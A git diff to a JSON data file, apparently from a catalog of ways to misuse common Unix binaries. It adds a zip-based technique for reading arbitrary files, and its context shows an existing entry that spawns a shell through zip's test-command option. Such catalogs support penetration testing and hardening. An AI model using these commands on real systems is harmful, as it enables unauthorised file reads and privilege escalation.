diff --git a/data/zip.json b/data/zip.json index cd5c270..b0e00db 100644 --- a/data/zip.json +++ b/data/zip.json @@ -1,5 +1,10 @@ { "functions": { + "file-read": [ + { + "code": "TF=$(mktemp -u)\nzip $TF [file]\nunzip -p $TF\n" + } + ], "shell": [ { "code": "TF=$(mktemp -u)\nzip $TF /etc/hosts -T -TT 'sh #'\nrm $TF\n" @@ -16,4 +21,4 @@ } ] } -} \ No newline at end of file +}